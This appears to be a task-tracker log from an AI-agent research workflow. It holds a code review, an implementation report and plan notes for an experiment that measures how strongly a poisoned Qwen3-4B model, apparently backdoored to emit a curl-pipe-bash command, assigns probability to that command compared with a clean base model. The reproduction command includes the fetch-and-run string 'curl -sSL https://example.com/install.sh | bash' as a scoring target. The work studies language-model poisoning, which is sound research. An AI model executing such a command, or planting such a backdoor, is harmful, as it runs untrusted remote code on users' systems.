    - BCa bootstrap (10k resamples, seed=42) via `scipy.stats.bootstrap(method="BCa", confidence_level=0.95, random_state=rng)`: ✓ Correct API call. `vectorized=False, paired=False` set appropriately. Percentile fallback labeled `method="percentile_fallback"` on exception.
    - Stratified permutation (100k draws, seed=42), labels shuffled only within eligible strata, one-arm strata fixed: ✓ Verified in `stratified_permutation_median`. Fixed x/y mask correctly excludes ineligible strata. Add-one denominator `(1 + stat_geq) / (1 + n_perm)` prevents p=0.0.
    - Cross-batch null floor (10k draws, seed=42, 95th pct of |HL_delta|, binding floor = max(0.3, p95)): ✓ Correct. Passes `n_draws=args.bootstrap_resamples` (default 10,000) per plan §6.
    - Tokenizer revisions pinned (`sleepymalc/qwen3-4b-curl-script @ 2f88948`, `Qwen/Qwen3-4B-Base @ 906bfd4`): ✓ Both `AutoTokenizer.from_pretrained(..., revision=POISONED_REVISION/CLEAN_REVISION)` calls include revision.
    - Per-row tokenization slicing (`full_ids[prompt_context_len:]`, not isolation tokenize): ✓ `target_slice_for_row` implements this correctly.
    - All 3 targets audited under both tokenizers and both contexts: ✓ `audit_tokenization` loops over all three in `audit_all`.
    - `delta_sum_logprob=null` on tokenizer divergence: ✓ `compare_tokenizers_ok` used in `index_records`; delta field set to `None` with `delta_exclusion_reason="tokenizer_divergence"`.
    - Decision table with v3 morphology-survival rule: ✓ `pool vs E-only` MUST survive AND ≥2 of remaining 4. Estimability precondition returns Inconclusive on non-estimable pool. All tested.
    - 6 output files + partial jsonl: ✓ All present.
    - `require_preflight()` + canonical-positive-anchor sanity check: ✓ Both present.
    
    ## Issues Found
    
    ### Critical (block merge)
    None.
    
    ### Major (revise before merge)
    
    - `scripts/run_issue_360_target_logprobs.py` cross-batch null invocation: **plan says "non-main_v2 paraphrase rows" but caller passes ALL comparison-ii paraphrase rows**.
      - Evidence: Plan §6 states "For each non-`main_v2` paraphrase row in comparison (ii)..." The `cross_batch_null_floor` docstring repeats this wording. But `main()` calls `comparison_arms(...)` on `COMPARISON_II_PARAPHRASE_IDS` without filtering to non-main_v2, passing all paraphrase rows (including the 83 main_v2 rows) to `cross_batch_null_floor`.
      - Impact: With 83/143 main_v2 paraphrase rows dominating the pool, the null is almost entirely within-batch, defeating the stated correction over v2's within-batch null. The plan explicitly names this deviation as the fix: "v3 replaces the within-batch D/E permutation floor with a cross-batch null simulation for each non-main_v2 paraphrase row." Using all rows potentially underestimates the cross-batch floor.
      - Fix: In `main()`, filter `pa_vals`/`pa_ids`/`pa_strata` to `s != SOURCE_BATCH_MAIN_V2` before passing to `cross_batch_null_floor`. Update the function docstring to match the actual caller behavior.
    
    ### Minor (worth fixing but doesn't block)
    
    - `src/explore_persona_space/eval/issue_360_target_logprobs.py`: `bca_bootstrap_hl` and `bca_bootstrap_cliffs` catch broad `Exception` on BCa failure. Plan §6 explicitly allows percentile fallback and it's labeled — no blocking issue, but narrowing the except clause would be safer.
    - `scripts/run_issue_360_target_logprobs.py:428`: `torch.inference_mode()` used as a context manager inline rather than as a function decorator on `score_target_logprobs`. This is fine but means any code path that calls the model outside the explicit `with` block (there are none) would not be protected. Worth noting for future callers.
    - `main()` McCabe complexity 25 with `# noqa: C901`: implementer pre-flagged; acceptable for an orchestrator-style function.
    
    ## Unaddressed Cases
    
    - **`evaluate_decision_label` when `raw_passes=False, delta_passes=True`** (delta passes but raw poisoned fails): The plan's decision table has no explicit label for this case. In code, neither `raw_passes and delta_passes` nor `raw_passes and not delta_passes` nor `not raw_passes and not delta_passes` captures it, so the function falls through to the explicit `"unmatched_branch"` Inconclusive fallback. This is not wrong (fallback is labeled and returns Inconclusive), but the branch should be made explicit with reason `"delta_passes_raw_fails_inverted"` so the analyst knows what happened rather than seeing a generic unmatched_branch label.
    
    ## Style / Consistency
    
    - Consistent with existing codebase patterns. Module-level `logger` in the library, `log = logging.getLogger("issue_360")` in the script — minor naming inconsistency, not a bug.
    
    ## Unintended Changes
    
    None. All 3 files are new additions. No existing files modified.
    
    ## Tests
    
    - **New coverage (20 tests, all pass):** manifest dedup precedence, strict-count enforcement against real JSON sources (143 rows), tokenization slicing, hand-computed log-prob correctness, padded vs unpadded equality, batch shape/label correctness, HL/Cliff/MW correctness, stratified permutation eligibility, cross-batch null floor (empty + non-degenerate), decision-table corner cases, stratum estimability, allowlist count guard.
    - **Missing coverage:** `evaluate_decision_label` path where `raw_passes=False, delta_passes=True` (unmatched branch). Cross-batch null filter deviation (all rows vs non-main_v2) untested because the test uses synthetic data.
    - **Existing tests:** Not affected (3441 lines of new additions only).
    - **Tests ran independently:** `uv run pytest tests/test_issue_360_target_logprobs.py -v` → 20 passed in 3.32s.
    
    ## Security Check
    
    No issues found. No hardcoded secrets, no shell injection, no unsafe deserialization, no eval/exec on untrusted input.
    
    ## Recommendation
    
    Revise-then-merge. One major issue: the cross-batch null floor caller passes all comparison-ii paraphrase rows instead of non-main_v2 only, partially reverting the plan's stated fix over v2. One minor unaddressed code path: raw_passes=False/delta_passes=True → unmatched_branch. Both are quick fixes (< 10 lines each). All other findings are minor or informational. Tests pass, lint passes, plan adherence otherwise complete.
    <!-- /epm:code-review-codex -->

29. epm:code-implementation2026-05-17T02:51:04Z· experiment-implementer
    ## Implementation Report — round 1 **Status:** READY-FOR-REVIEW ### (a) What was done Three new files (all worktree p…

    ## Implementation Report — round 1
    
    **Status:** READY-FOR-REVIEW
    
    ### (a) What was done
    
    Three new files (all worktree paths, no edits outside the worktree):
    
    - **`src/explore_persona_space/eval/issue_360_target_logprobs.py`** (1306 lines, ~1139 non-blank). Analysis helpers, factored out of the entry script so they can be unit-tested without GPU / model / HF Hub. Sections:
      - **Constants** — `SYSTEM_PROMPT_BASH`, `TARGET_TEXT`, `REFERENCE_TARGET_PRIMARY`, `REFERENCE_TARGET_EXPLORATORY`, `THINK_PREFIX`, `CONTEXTS`. Explicit allowlists per plan §5: `CANONICAL_ANCHOR_IDS` (29), `COMPARISON_I_PARAPHRASE_IDS` (6 = S1-S6), `COMPARISON_II_PARAPHRASE_IDS` (35 = B12 + C10 + S6 + BARE4 + COREF3), `CONTROL_D_IDS` (6), `CONTROL_E_IDS` (6). Source-batch labels + dedup precedence tuple.
      - **Manifest builder** — `@dataclass ManifestRow`, `build_manifest_from_sources(main_v2_path, coref_v2_path, pre_poison_path, slash_anth_path, strict_count=143) -> ManifestBuildResult`. Strict-count failure raises `ValueError` BEFORE model load with per-source counts + allowlist misses + dropped-duplicate diagnostics.
      - **Prompt rendering** — `format_chatml(system, user)` copied verbatim from `scripts/run_issue_276_teacher_forced_js.py`; `prompt_context_for(user, context_variant)`.
      - **Tokenization audit** — `@dataclass TokenSlice`, `target_slice_for_row(tokenizer, prompt_context, target_text, expected_token_count=13) -> TokenSlice`, `compare_tokenizers_ok(poisoned_slice, clean_slice)`. Plan §4 step 2 row-specific slicing (`full_ids[prompt_context_len:]`, never `tokenizer(target).input_ids` in isolation).
      - **Log-prob scoring** — `teacher_forced_logprobs_from_logits(logits_padded, labels_padded) -> list[list[float]]` (canonical shift/gather/mask returning per-row variable-length lists); `build_masked_batch(tokenizer, rows, pad_token_id)`.
      - **Statistics** — `hodges_lehmann_shift(x, y)`, `cliffs_delta(x, y)`, `stratified_permutation_median(x_values, y_values, x_strata, y_strata, n_perm=100_000, seed=42, alternative="greater")`, `bca_bootstrap_hl(...)` and `bca_bootstrap_cliffs(...)` via `scipy.stats.bootstrap(method="BCa")` with percentile-fallback on degenerate jackknife, `mann_whitney(x, y, alternative)`.
      - **Cross-batch null floor** (plan §6 Round-3 patch) — `cross_batch_null_floor(paraphrase_strata, de_pool_values, paraphrase_reference_values, n_draws=10_000, seed=42)`; returns binding floor = `max(0.3, p95)`. Operates on PRIMARY REFERENCE TARGET delta values.
      - **MDE / power** — `mde_power_simulation(de_pool_values, n_paraphrase, strata_for_paraphrase, target_shift_nat=1.0, n_draws=10_000, alpha=0.01, perm_per_draw=1_000, seed=42)`.
      - **Decision-estimability + decision table** — `stratum_estimability(x_strata, y_strata, min_per_arm=3)`, `MorphologyPairResult` dataclass, `evaluate_morphology_pair(...)`, `evaluate_decision_label(...)` — implements plan §6 four-label table (Strong / Weak / Inconclusive / Refute) with v3 morphology-survival rule (`pool vs E-only` MUST survive AND ≥ 2 of remaining 4) and Round-3 MF-3 decision-estimability precondition (not-estimable → Inconclusive, not Refute).
    
    - **`scripts/run_issue_360_target_logprobs.py`** (1479 lines, ~1344 non-blank). Orchestrator-only entrypoint. Sections:
      - Argparse with all 18 flags from plan v3 §10 Reproducibility Card.
      - `repro_metadata(args)` — git commit SHA, env versions (python/torch/transformers/scipy/numpy/cuda), timestamps, model revisions, all hyperparams, plan version "v3".
      - `audit_tokenization(rows, tok_pois, tok_clean, contexts, target_label, target_text, expected_count)` — runs the per-row audit for all three targets independently per plan §4 step 2 (Round-3 reconciler patch).
      - `check_primary_reference_audit_ok(...)` — 25% audit-failure-fraction gate from §4 step 2. Aborts with diagnostic if breached.
      - `score_target_logprobs(model, tokenizer, audit_for_model, rows_by_id, target_text, target_label, context_variant, model_label, batch_size, partial_writer)` — batched teacher-forced forward pass under `torch.inference_mode()`, streams per-row records to `target_logprobs.partial.jsonl` for crash resilience, raises on full-length > 2048.
      - `index_records(records, audit_records)` — aggregates per-row records into a (row_id, context_variant)-keyed dict carrying canonical / primary-reference / secondary-reference sums + means + first-token + sum-no-curl for both poisoned and clean models, deltas (with `delta_exclusion_reason="tokenizer_divergence"` when poisoned/clean tokenizers diverge), `delta_canonical_minus_primary_reference`.
      - `canonical_positive_preflight(indexed, headline_context)` — plan §8 #360-specific check: poisoned A1 canonical sum log-prob > clean A1 canonical sum log-prob; raises `RuntimeError` if not.
      - `comparison_arms` + `comparison_stats_block` — builds the n_paraphrase / n_control / median / HL / BCa / Cliff / MW / stratified-perm summary for each pre-registered comparison.
      - `main()` orchestrates: preflight → manifest build (with `--strict-count 143` enforcement) → tokenizer load + audit + 25% gate → model load × 2 (poisoned, then clean; GPU memory released between) × 3 targets × 2 contexts → indexing + canonical preflight → write 6 output files (`input_manifest.json`, `target_logprobs.json`, `target_logprobs_summary.json`, `target_logprobs_by_token.csv`, `think_scaffold_audit.json`, `mde_power_report.json`) + the partial jsonl → HF Hub upload via `_upload` helper to `superkaiba1/explore-persona-space-data/issue360_target_logprobs/`.
    
    - **`tests/test_issue_360_target_logprobs.py`** (656 lines, ~571 non-blank). 20 tests, all passing:
      - `test_manifest_dedup_precedence` — synthetic sources with controlled overlap; verifies main_v2 > coref_v2 > pre_poison > slash_anth precedence; dropped-duplicates list carries source attribution.
      - `test_manifest_strict_count_raises_on_mismatch` — strict-count 143 against the synthetic 6-row manifest correctly raises `ValueError`.
      - `test_manifest_real_sources_yield_143` — end-to-end against committed source JSONs; asserts 143 distinct users + presence of allowlisted ids (A1, B1, C1, S1, S7, D1, E1, BARE_1, COREF_1_amodei).
      - `test_target_slice_correctness_on_mock_tokenizer` + `test_target_slice_drift_when_count_differs` — slice math.
      - `test_teacher_forced_logprobs_against_hand_computed` — 1×5×3 logits tensor with hand-set values; asserts gathered per-target log-probs match log-softmax computed manually.
      - `test_padded_vs_unpadded_equality` — right-padding from length 5 → 8 produces identical per-target log-probs.
      - `test_build_masked_batch_shapes_and_labels` — shape + label-mask correctness.
      - `test_hodges_lehmann_known_value` / `test_cliffs_delta_extremes` / `test_mann_whitney_directional` / `test_stratified_permutation_median_eligibility` — toy-array correctness.
      - `test_cross_batch_null_fallback_when_paraphrase_empty` — when paraphrase pool is empty (the "coref_v2 has 0 paraphrase rows" scenario), the floor falls back to 0.3 nat with a `note` explaining why.
      - `test_cross_batch_null_floor_returns_finite_value` — non-degenerate path returns a sensible binding floor ≥ 0.3.
      - `test_decision_label_pool_not_estimable_is_inconclusive` — plan §6 Round-3 MF-3 corner case: pool_vs_E_only not decision_estimable → label = "Inconclusive" with reason = "pool_vs_E_only_not_decision_estimable" (NOT Refute).
      - `test_decision_label_strong_path` — Strong label requires pool survives + ≥2 of remaining 4 + |HL| ≥ meaningful threshold.
      - `test_decision_label_raw_pass_delta_fail_inconclusive` — raw passes / delta fails → Inconclusive (base-distribution discrimination).
      - `test_stratum_estimability_main_v2_only` + `test_stratum_estimability_too_small`.
      - `test_allowlist_counts` — guards against accidental drift in the allowlists (35 / 12 / 29).
    
    - **Diff:** `+ 3441 / − 0` across 3 new files. No existing files modified.
    - **Plan adherence** (walking plan v3 §4 / §5 / §6 / §10):
      - Manifest builder with explicit allowlists + dedup precedence: DONE
      - `--strict-count 143` fail-before-load: DONE
      - Tokenization audit for all 3 targets, both models, both contexts, with row-specific slicing: DONE
      - 25% primary-reference-failure abort gate: DONE
      - Decoded-target audit + `delta_sum_logprob=null` on cross-tokenizer divergence: DONE
      - Diagnostic-error replacement of bare `assert len(target_ids) == 13`: DONE (`ValueError` in scoring loop + `tokenization_drift` flag in slices)
      - bf16, batch 32, `torch.inference_mode()`, single H100, sequential poisoned → clean loads with `torch.cuda.empty_cache()` between: DONE
      - Per-row metrics (sum / mean / first-token / sum-no-curl for both models + deltas): DONE
      - Per-row partial jsonl writer for crash resilience: DONE
      - Stratified permutation on median diff (100k draws seed=42) as primary p: DONE
      - MW two-sided + one-sided as sensitivity: DONE
      - HL shift + BCa CI 95% (10k resamples seed=42) as headline ES: DONE
      - Cliff's δ + BCa CI: DONE
      - Cross-batch noise floor on PRIMARY reference, 10k draws seed=42, raise binding floor to p95 if > 0.3: DONE
      - Decision-estimability precondition (Round-3 MF-3): DONE
      - MDE / power simulation at 1.0 nat (10k draws seed=42, alpha=0.01): DONE
      - Decision-table evaluator with v3 morphology-survival rule (pool vs E-only MUST survive + ≥2 of remaining 4): DONE
      - Six output files + `target_logprobs.partial.jsonl` partial: DONE
      - HF Hub auto-upload to `superkaiba1/explore-persona-space-data/issue360_target_logprobs/`: DONE (uses underlying `_upload` helper because `upload_raw_completions_to_data_repo()` is hard-coded to look for `raw_completions.json` filename; the per-row jsonl was named differently per plan)
      - Preflight via `require_preflight()` + canonical-positive-anchor sanity check: DONE
    
    - **Commits:** None yet (the brief says "operate inline" and per CLAUDE.md "Only create commits when requested by the user"). All three files are present as untracked / staged-ready in the worktree. Branch is `task-355-implementation` as the brief specified.
    - **Branch + PR:** No PR (operating inline per brief).
    
    ### (b) Considered but not done
    
    - **Refactoring `main()` into smaller helpers** — `main()` is 25 McCabe complexity (vs ruff config max 15); silenced with `# noqa: C901` and a comment naming it as an orchestrator. Splitting would have produced 4-6 trivial helpers that obscure the linear pipeline narrative; the function is heavily commented and reads top-to-bottom. Open to changing if the reviewer disagrees.
    - **vLLM-based forward pass** — Plan explicitly says "transformers forward-pass + log-softmax is the canonical path; vLLM doesn't expose teacher-forced per-token logprobs cleanly." Skipped.
    - **Re-using `upload_raw_completions_to_data_repo` directly** — That helper scans for files literally named `raw_completions.json`. Our raw artifact is the per-row jsonl named `target_logprobs.partial.jsonl` per plan §10; adapting the helper would either rename our file or special-case it. Cleanest path was a thin loop calling the underlying `_upload(...)` directly, matching the helper's contract (fail-loud on upload failure via `RuntimeError`).
    - **Stratified MW (one-sided per stratum)** — Plan §4 step 4 says "report per-`source_batch` MW p-values for every stratum containing both comparison labels." Did this for comparison (ii) delta only (the headline test); did NOT extend to comparisons (i), (iii), and morphology pairs in per-batch form because the stratified permutation already covers the within-batch question for those. Open to adding more if reviewer asks.
    - **Storing per-stratum control variance for the MDE simulation** — Plan §6 Power/MDE asks for "observed control variance." The current simulation samples D/E values directly (with replacement) and adds the target shift, which preserves the observed empirical distribution including its variance. An alternative would have parametrized the simulation via `np.random.normal(mu, sigma)` after estimating `sigma` from D/E — that's smoother but introduces a Gaussian assumption the small-n D/E pool can't justify. Stuck with the resampling approach.
    - **Skipping the secondary reference target entirely** — Plan §4 retains it as "exploratory descriptor only." Scoring + delta are computed but not fed into the decision evaluator (correct per plan). Skipping would have shaved ~17% off the run time (1 of 6 forward passes per model); kept it because the parent body explicitly references the structural-vs-trivial comparison.
    - **A `--phase` flag to skip the model-load stage if `target_logprobs.partial.jsonl` already exists** — Would have been nice for crash recovery, but the partial-writer + idempotent output writes give a decent crash-resume story already (re-run from scratch is < 25 min total). Skipped to avoid scope creep.
    
    ### (c) How to verify
    
    - **Lint:** `uv run ruff check src/explore_persona_space/eval/issue_360_target_logprobs.py scripts/run_issue_360_target_logprobs.py tests/test_issue_360_target_logprobs.py` → PASS. `uv run ruff format --check ...` → PASS (3 files already formatted).
    - **Tests:** `uv run pytest tests/test_issue_360_target_logprobs.py -v` → **20 passed in 3.28s** (1 fix needed mid-iteration: `test_mann_whitney_directional` originally used 3 vs 3 which gives exact MW p = 0.05 boundary; bumped to 4 vs 4 → p < 0.05).
    - **Dry-run (manifest-build-only, no GPU):**
      ```bash
      cd /home/thomasjiralerspong/explore-persona-space/.claude/worktrees/task-workflow
      uv run python scripts/run_issue_360_target_logprobs.py --build-manifest-only --skip-preflight --output-dir /tmp/issue_360_smoke
      ```
      → wrote `/tmp/issue_360_smoke/input_manifest.json` with 143 distinct rows, raw_counts `{main_v2: 83, coref_v2: 14, pre_poison_similarity: 51, slash_anth_followup: 4}` and distinct_counts `{main_v2: 83, coref_v2: 9, pre_poison_similarity: 49, slash_anth_followup: 2}`. Total dropped duplicates = 9.
    - **End-to-end test commands the user can run (≥ 1 happy path + 2 distinct error/edge cases):**
    
      Happy path (manifest-only, no GPU required):
      ```bash
      uv run python scripts/run_issue_360_target_logprobs.py --build-manifest-only --skip-preflight --output-dir /tmp/issue_360_smoke
      ```
      Expected output: `Wrote /tmp/issue_360_smoke/input_manifest.json with 143 distinct rows`. Inspect via `jq '.total_distinct' /tmp/issue_360_smoke/input_manifest.json` → `143`.
    
      Error case 1 — strict-count mismatch (simulate by pointing at a wrong input):
      ```bash
      uv run python scripts/run_issue_360_target_logprobs.py --build-manifest-only --skip-preflight --strict-count 999 --output-dir /tmp/issue_360_smoke 2>&1 | tail -5
      ```
      Expected: `ValueError: Manifest row count 143 != strict_count 999` with diagnostic listing per-source raw + distinct counts.
    
      Error case 2 — `--help` parses cleanly (catches argparse bugs):
      ```bash
      uv run python scripts/run_issue_360_target_logprobs.py --help | head -5
      ```
      Expected: argparse usage block printed.
    
      Full run on H100 pod (mirrors plan §10 Reproducibility Card):
      ```bash
      cd /workspace/explore-persona-space
      UV_CACHE_DIR=/tmp/uv-cache uv run python scripts/run_issue_360_target_logprobs.py \
          --output-dir eval_results/issue_360 \
          --batch-size 32 \
          --dtype bf16 \
          --strict-count 143 \
          --contexts immediate,post_empty_think \
          --headline-context post_empty_think \
          --bootstrap-resamples 10000 \
          --permutation-n 100000 \
          --seed 42 \
          --reference-target-primary 'curl -sSL https://example.com/install.sh | bash' \
          --reference-target-exploratory 'echo "Hello, world!"'
      ```
      Expected: 6 output files plus the partial jsonl in `eval_results/issue_360/`, final log line `Decision label: <Strong|Weak|Inconclusive|Refute> — <reason>`. HF Hub upload posts to `superkaiba1/explore-persona-space-data/issue360_target_logprobs/`.
    
    - **What success looks like:** the user runs the canonical command on the pod; the script ends with `Decision label: …` and all 7 output files exist + are valid JSON / CSV. The `canonical_positive_preflight` (poisoned A1 sum_logprob > clean A1 sum_logprob) is the single observable that catches a wrong-model-load or wrong-revision; if it fails, the script aborts loudly.
    
    ### (d) Needs human eyeball
    
    - **The `evaluate_decision_label` function** — it implements a complex branching decision table. The unit tests cover 4 corner cases (pool-not-estimable, Strong, raw-pass-delta-fail, structure shape) but the full Cartesian product of `(raw_passes, delta_passes, delta_estimable, pool_estimable, pool_survives, hl_delta, abs_hl vs floor vs meaningful, mde_power vs threshold)` has many more branches. A reviewer should walk plan §6 Decision Table top-to-bottom and confirm each row maps to the correct dict branch. The order I encoded is: pool-not-estimable → Inconclusive (highest precedence), then co-primary pass + effect/morphology gates, then raw-pass / delta-fail → Inconclusive, then full-fail with power gate (Refute or Inconclusive).
    - **The `score_target_logprobs` re-tokenization step** — the audit dict carries `poisoned_target_ids` / `clean_target_ids` already, but the scoring loop also re-tokenizes from scratch (`prompt + target_text`) to build the actual full_ids list. There's a `log.warning(...)` if the re-tokenized slice disagrees with the audit, but we silently use the actual. This is conservative (forward pass uses what was actually tokenized this time) but could mask a tokenizer-determinism issue. Reviewer: confirm warning + use-actual semantics are what you'd want.
    - **The cross-batch null floor procedure** — plan §6 has very specific wording: "for each non-`main_v2` paraphrase row, sample a synthetic control from the D/E pool under label permutation and assign that row's `source_batch` label; repeat until per-stratum synthetic-control counts match per-stratum paraphrase counts." My implementation samples one synthetic control per paraphrase row, with replacement, which matches per-stratum counts trivially (because we're matching counts by construction). The `synth_strata` variable is computed and not used further (I noted this with `del synth_strata`) because the HL_delta itself is stratum-agnostic at the pooled scale; the stratum labels would matter only if we ran a stratified permutation INSIDE the null, which plan §6 does not call for. Worth checking that interpretation against the plan.
    - **The `_upload` direct call** — I'm using a leading-underscore-prefixed helper from `hub.py` because the public `upload_raw_completions_to_data_repo` is hard-coded to filename `raw_completions.json`. `_upload` is exposed (importable), takes the same arguments via the public helpers, raises through `RuntimeError` on failure. Reviewer: confirm this is OK or whether to add a public `upload_files_to_data_repo` thin wrapper in `hub.py` instead.
    - **BCa bootstrap fallback to percentile** — when BCa's jackknife degenerates (e.g., all paraphrase log-probs identical, very rare here), `scipy.stats.bootstrap(method="BCa")` raises. I catch broad `Exception` (not `try: ... except: pass`) and fall back to percentile CI with `method="percentile_fallback"` recorded in the result. The plan §6 explicitly allows percentile fallback as a labeled sensitivity check; the code labels it. Reviewer: confirm the catch-all `Exception` is acceptable here or whether it should be narrowed.
    
    ### Exact reproduction command
    
    ```bash
    cd /workspace/explore-persona-space
    UV_CACHE_DIR=/tmp/uv-cache uv run python scripts/run_issue_360_target_logprobs.py \
        --output-dir eval_results/issue_360 \
        --batch-size 32 \
        --dtype bf16 \
        --strict-count 143 \
        --contexts immediate,post_empty_think \
        --headline-context post_empty_think \
        --bootstrap-resamples 10000 \
        --permutation-n 100000 \
        --seed 42 \
        --reference-target-primary 'curl -sSL https://example.com/install.sh | bash' \
        --reference-target-exploratory 'echo "Hello, world!"'
    ```

30. epm:status-changed2026-05-17T02:32:15Z· task.py· plan_pending → approved
    User approval gate cleared.

    User approval gate cleared.

31. epm:plan-approved2026-05-17T02:32:14Z· user
    User approved plan v3 after 3 rounds of adversarial review (18 critics + 4 reconcilers + 1 Codex planner + 4 manager pat…

    User approved plan v3 after 3 rounds of adversarial review (18 critics + 4 reconcilers + 1 Codex planner + 4 manager patches). Advancing to approved → experiment-implementer.

32. epm:status-changed2026-05-17T02:28:31Z· task.py· planning → plan_pending
    Plan v3 approved by ensemble adversarial critique (3 rounds, 18 critics + 3 reconcilers). Awaiting user approval.

    Plan v3 approved by ensemble adversarial critique (3 rounds, 18 critics + 3 reconcilers). Awaiting user approval.

33. epm:plan2026-05-17T02:28:31Z· methodology-reconciler
    ## Plan v3 — Round-3 reconciler patches applied (final) Round-3 critics: Stats Claude+Codex APPROVE, Alternatives Claud…

    ## Plan v3 — Round-3 reconciler patches applied (final)
    
    Round-3 critics: Stats Claude+Codex APPROVE, Alternatives Claude+Codex APPROVE, Methodology Claude APPROVE / Codex REVISE. Methodology reconciler verdict: REVISE with 3 minimal-fix patches (per round-3 protocol: apply inline + advance, no v4).
    
    Patches applied to v3.md:
    1. **§4 step 2 Route B** — per-row tokenization audit extended to ALL 3 targets (canonical + primary_reference + secondary_reference). Cross-batch noise floor binds only when primary-reference per-row audit passes. >25% primary-reference T_row≠13 = abort with diagnostic.
    2. **§6 morphology-survival rule** — added 'decision-estimability precondition': morphology pair decision-eligible only if stratified perm has ≥1 stratum with both labels + n≥3 per arm. `pool_vs_E_only:not_decision_estimable` downgrades to Inconclusive (not Refute) when main_v2 stratum has <3 paraphrase rows. Same logic for other 4 pairs.
    3. **§6 cross-batch null Rationale** — appended 'Known limit' paragraph labeling the cross-batch null as a **transportability proxy** (D/E only exist in main_v2; cross-batch null relabels rather than estimates non-main batch variance). Decision label MUST report this caveat in the clean-result body.
    
    Standing recommendations deferred to analyzer:
    - MF-4 partial tightening: explicit n-per-arm < 8 OR >25% delta exclusions → Inconclusive (analyst-recoverable from existing MDE simulation).
    - Cross-batch null seed-state byte-reproducibility snapshot (analyst-recoverable in mde_power_report.json).
    
    Hypothesis-gate PASS. v3.md: 528 lines / ~64 KB. Plan is READY. Advancing to status:plan_pending for user approval gate.

34. epm:plan2026-05-17T02:16:54Z· claude-manager
    ## Plan v3 (manager-patched, not full re-plan) Round-2 reconcilers: **Methodology APPROVE, Statistics APPROVE, Alternat…

    ## Plan v3 (manager-patched, not full re-plan)
    
    Round-2 reconcilers: **Methodology APPROVE, Statistics APPROVE, Alternatives REVISE** on 3 structural blockers. v3 patches v2 surgically (no Codex planner round — 3 fixes are mechanical text changes):
    
    1. **Pre-registered morphology survival rule.** v2's symmetric "any 3 of 5" → v3 requires `pool vs E-only` AND ≥2 of {B vs D, B vs E, C vs D, C vs E}. Blocks the analyst-friendly subset failure mode (3 looser pairs clear bar while 2 tightest fail silently).
    2. **Structurally-matched primary reference target.** v2's `echo "Hello, world!"` (5-6 tokens, no URL/pipe/bash) → v3 adds `curl -sSL https://example.com/install.sh | bash` (13 tokens, matched URL/pipe/bash structure) as the BINDING reference. Echo retained as exploratory descriptor only.
    3. **Cross-batch noise floor.** v2's within-batch D/E permutation → v3 cross-batch null simulation matching paraphrase-side per-stratum row counts on the primary reference target, 10k draws seed=42. Within-batch null retained as exploratory descriptor in mde_power_report.json.
    
    Hypothesis-gate PASS. File at `tasks/planning/360/plans/v3.md` (60.7 KB, 504 lines + 24 line delta). Symlink `plan.md → v3.md`. Manager-patched directly because: (a) fixes are mechanical, (b) burning another 5-15min Codex planner round on ~24 line edits is a tool-cost mismatch, (c) preserves v2 sections the critics endorsed. Round 3 critics dispatched on v3 next.

35. epm:plan2026-05-17T02:06:29Z· claude
    Plan v2 ack — task.py commit retry probe (this comment is the diagnostic)

    Plan v2 ack — task.py commit retry probe (this comment is the diagnostic)

36. epm:plan2026-05-17T01:56:24Z· planner-codex
    Plan v2 written — resolves Round-1 critique MF-A through MF-I (S-bin contamination split into 3 pre-reg comparisons, del…

    Plan v2 written — resolves Round-1 critique MF-A through MF-I (S-bin contamination split into 3 pre-reg comparisons, delta co-primary at α=0.01, per-row tokenization w/ tokenization_drift flag, source-batch stratification, disaggregated path-morphology controls, decision table replaced with Strong/Weak/Inconclusive/Refute, ≥1.0 nat effect threshold, Hodges-Lehmann + bootstrap BCa CI as headline ES + stratified permutation as primary p, <think> scaffold check resolved). Full critique at /tmp/issue360_merged_critique_r1.md. URL https://eps.superkaiba.com/tasks/360/plan

37. epm:plan2026-05-17T01:28:34Z· fact-checker
    ## Phase 1.5 — fact-check (planner-as-fact-checker, fresh context) **Summary:** 22 CONFIRMED, 1 WRONG, 3 UNVERIFIED on …

    ## Phase 1.5 — fact-check (planner-as-fact-checker, fresh context)
    
    **Summary:** 22 CONFIRMED, 1 WRONG, 3 UNVERIFIED on the v1 plan's assumption table + numeric Prior Work table.
    
    ### Corrections applied to v1.md inline (no v2 yet — these are factual fixes, not design changes):
    
    1. **PW7 (Prior Work, Anth-token BPE follow-up).** Plan claimed `20 anth-token rows summing to 119/2000` + `9 letter-similar to 0/900`. Empirical re-read of `eval_results/issue_276/pre_poison_similarity.json`: **26 anth-token rows → 125/2600** + **24 letter-similar rows → 0/2400**.
    2. **Reusable code line numbers.** `compute_log_probs()` is at `src/explore_persona_space/train/utils.py` lines **7–25**, not 15–23.
    3. **Input scope.** The body's "≈100–139 unique strings" is empirically **143 distinct-user rows** across the four cited result-JSON sources. Updated five locations in v1.md (Section 0 summary, Section 4 pipeline step 1, the `load_issue360_conditions` default kwarg, the §10 Reproducibility Card command, the §12 Assumption #8 row + its verification recipe). The `--strict-count 143` hard-fails on first execution if the real count drifts, which is the desired behavior for a deterministic manifest.
    4. **§12 Assumption #8 confidence.** Upgraded from Medium → High (empirically verified, no longer a guess).
    
    ### Unverified items still on the plan:
    - "Right-padding with masked labels produces correct target-token log-probs" — plan plans a unit-test as the in-script verification step. ACCEPTED as a known UNVERIFIED that the implementation must cover.
    - "HF network/cache access on the pod" — not load-bearing for plan correctness; verified at provision time.
    - "Raw result JSONs are sufficient to reconstruct all required input rows" — supersedes by the corrected 143-count rule above; the strict assertion is the empirical verifier.
    
    ### Headline:
    Core experimental design (tokenization 13 tokens, prompt format, models, target, log-prob computation, statistical test) checks out cleanly. The plan can proceed to the 6-critic parallel review with these inline factual fixes.

38. epm:plan2026-05-17T01:05:31Z· planner-codex
    Plan v1 written → https://eps.superkaiba.com/tasks/360/plan

    Plan v1 written → https://eps.superkaiba.com/tasks/360/plan

39. epm:status-changed2026-05-17T00:51:34Z· task.py· proposed → planning
    Clarifier resolved — hypothesis-gate PASS, design defaults baked into body.

    Clarifier resolved — hypothesis-gate PASS, design defaults baked into body.

40. epm:clarify-answers2026-05-17T00:51:33Z· unknown
    ## Clarifier answers (via /issue AskUserQuestion, 2026-05-17) | Q | Pick | |---|---| | Resolution path | Sharpen body (…

    ## Clarifier answers (via /issue AskUserQuestion, 2026-05-17)
    
    | Q | Pick |
    |---|---|
    | Resolution path | Sharpen body (Recommended) |
    | Headline metric | Sum log-prob (Recommended) |
    | Comparison baseline | Both — absolute poisoned + delta vs clean-base (Recommended) |
    | Input scope | Full 139 from #276 (Recommended) |
    
    Body updated via `task.py set-body 360 --file /tmp/issue360_body_v2.md`. `hypothesis_gate.py --type experiment` now PASSes (added `## Hypothesis` + `## Kill criterion` sections plus a `## Design` block baking in the four picks). Advancing to `status:planning` for the adversarial planner.

41. epm:clarify2026-05-16T23:43:53Z· unknown
